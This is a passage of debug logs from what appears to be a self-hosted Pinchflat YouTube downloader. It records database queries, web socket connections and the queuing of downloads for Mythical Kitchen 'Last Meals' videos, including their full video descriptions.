m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:40.694 [debug] QUERY OK source="media_items" db=0.0ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [71] 20:48:40.694 [info] Kicking off download for media item #71 (gbNeBNx8_Yk) 20:48:40.695 [debug] QUERY OK source="tasks" db=0.0ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [76, 71, ~U[2026-03-28 00:48:40Z], ~U[2026-03-28 00:48:40Z]] 20:48:40.695 [debug] Current batch of media processed. Will check again in 1000ms 20:48:40.902 [info] GET /sources 20:48:40.903 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:48:40.903 [debug] QUERY OK source="settings" db=0.1ms idle=209.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.903 [debug] QUERY OK source="settings" db=0.0ms idle=209.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.903 [debug] QUERY OK source="settings" db=0.0ms idle=208.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.904 [debug] QUERY OK source="settings" db=0.0ms idle=209.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.904 [debug] QUERY OK source="settings" db=0.0ms idle=209.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.904 [debug] QUERY OK source="sources" db=0.3ms idle=1.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:48:40.905 [debug] QUERY OK source="sources" db=0.7ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:48:40.906 [info] Sent 200 in 3ms 20:48:40.909 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HDgGNzsgDB0lHkQ9BwAgMF8JXkVZPxVZw_TTUEuqu-tJ_LOsmJitnhc4", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:41.150 [debug] Current batch of media processed. Will check again in 1000ms 20:48:41.229 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "P1QrJzEuLQUVSgYgNn0bIgUOYloPAjcDT3yD_KTiEy6Wn1ta7MUk8UAn", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:41.340 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 20:48:41.341 [debug] QUERY OK source="sources" db=0.3ms idle=436.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:48:41.341 [debug] QUERY OK source="sources" db=0.5ms idle=436.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:48:41.342 [debug] Replied in 1ms 20:48:41.343 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:41.343 [debug] Replied in 52µs 20:48:41.695 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Ralph Macchio eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ralph's Last Meal\n0:22 What Do Ralph & Mr. Rogers Have In Common? \n1:37 Have You Thought About Your Last Meal Before?\n1:59 How Often Do You Think About Death?\n2:35 1st Course\n5:04 Continuing The Karate Kid Story\n8:54 Becoming The Mr. Miyagi For The New Generation\n11:10 2nd Course\n13:23 Knowing Pat Morita Was The Perfect Mr. Miyagi\n16:39 Protecting Daniel LaRusso\n18:15 3rd Course\n20:28 Filming The Outsiders\n22:55 Karate Kid 3 Wasn't All He Wanted To Be\n25:05 4th Course\n26:19 Almost Marty McFly\n29:09 Pitching His \"In Memoriam\" Clip\n30:45 What Do You Think Happens When You Die?\n31:05 Lightning Round\n32:58 Ralph's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2020, "filename" => "/downloads/Last Meals/2025-05-29 The Karate Kid's Ralph Macchio Eats His Last Meal/The Karate Kid's Ralph Macchio Eats His Last Meal [GYgN7OuTfVU].mp4", "id" => "GYgN7OuTfVU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GYgN7OuTfVU", "playlist_index" => 68, "timestamp" => 1748512828, "title" => "The Karate Kid's Ralph Macchio Eats His Last Meal", "upload_date" => "20250529"} 20:48:41.696 [debug] QUERY OK source="sources" db=0.1ms idle=790.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:41.696 [debug] QUERY OK source="sources" db=0.0ms idle=790.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:41.696 [debug] QUERY OK source="media_items" db=0.1ms idle=571.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-29 10:00:28Z], 1] 20:48:41.697 [debug] QUERY OK source="media_items" db=0.8ms idle=355.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ralph Macchio eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ralph's Last Meal\n0:22 What Do Ralph & Mr. Rogers Have In Common? \n1:37 Have You Thought About Your Last Meal Before?\n1:59 How Often Do You Think About Death?\n2:35 1st Course\n5:04 Continuing The Karate Kid Story\n8:54 Becoming The Mr. Miyagi For The New Generation\n11:10 2nd Course\n13:23 Knowing Pat Morita Was The Perfect Mr. Miyagi\n16:39 Protecting Daniel LaRusso\n18:15 3rd Course\n20:28 Filming The Outsiders\n22:55 Karate Kid 3 Wasn't All He Wanted To Be\n25:05 4th Course\n26:19 Almost Marty McFly\n29:09 Pitching His \"In Memoriam\" Clip\n30:45 What Do You Think Happens When You Die?\n31:05 Lightning Round\n32:58 Ralph's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Karate Kid's Ralph Macchio Eats His Last Meal", "27b590c2-6a84-40c6-a30f-0a1366ea332b", "https://www.youtube.com/watch?v=GYgN7OuTfVU", false, "GYgN7OuTfVU", 2020, false, 68, "/downloads/Last Meals/2025-05-29 The Karate Kid's Ralph Macchio Eats His Last Meal/The Karate Kid's Ralph Macchio Eats His Last Meal [GYgN7OuTfVU].mp4", false, false, 1, [], 0, ~U[2025-05-29 10:00:28Z], ~U[2026-03-28 00:48:41Z], ~U[2026-03-28 00:48:41Z], "Today, Ralph Macchio eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ralph's Last Meal\n0:22 What Do Ralph & Mr. Rogers Have In Common? \n1:37 Have You Thought About Your Last Meal Before?\n1:59 How Often Do You Think About Death?\n2:35 1st Course\n5:04 Continuing The Karate Kid Story\n8:54 Becoming The Mr. Miyagi For The New Generation\n11:10 2nd Course\n13:23 Knowing Pat Morita Was The Perfect Mr. Miyagi\n16:39 Protecting Daniel LaRusso\n18:15 3rd Course\n20:28 Filming The Outsiders\n22:55 Karate Kid 3 Wasn't All He Wanted To Be\n25:05 4th Course\n26:19 Almost Marty McFly\n29:09 Pitching His \"In Memoriam\" Clip\n30:45 What Do You Think Happens When You Die?\n31:05 Lightning Round\n32:58 Ralph's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Karate Kid's Ralph Macchio Eats His Last Meal", "https://www.youtube.com/watch?v=GYgN7OuTfVU", "GYgN7OuTfVU", 2020, false, "/downloads/Last Meals/2025-05-29 The Karate Kid's Ralph Macchio Eats His Last Meal/The Karate Kid's Ralph Macchio Eats His Last Meal [GYgN7OuTfVU].mp4", false, 1, ~U[2025-05-29 10:00:28Z]] 20:48:41.698 [debug] QUERY OK source="sources" db=0.1ms idle=356.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:41.698 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:41.698 [debug] QUERY OK source="media_items" db=0.0ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [72] 20:48:41.698 [info] Kicking off download for media item #72 (GYgN7OuTfVU) 20:48:41.699 [debug] QUERY OK source="tasks" db=0.0ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [77, 72, ~U[2026-03-28 00:48:41Z], ~U[2026-03-28 00:48:41Z]] 20:48:41.699 [debug] Current batch of media processed. Will check again in 1000ms 20:48:42.151 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "We aren't actually sure what this episode is about.\nBUT HEY ALL NEW SPECIAL EDITION Digital Circus plushies, Mini-Figures and more - all 15% OFF for only THE NEXT 2 WEEKS!: https://digitalcircus.store \nIf you buy 2 individual Animiniz figurines, you get 50% off your third one!!!\nAll proceeds go into 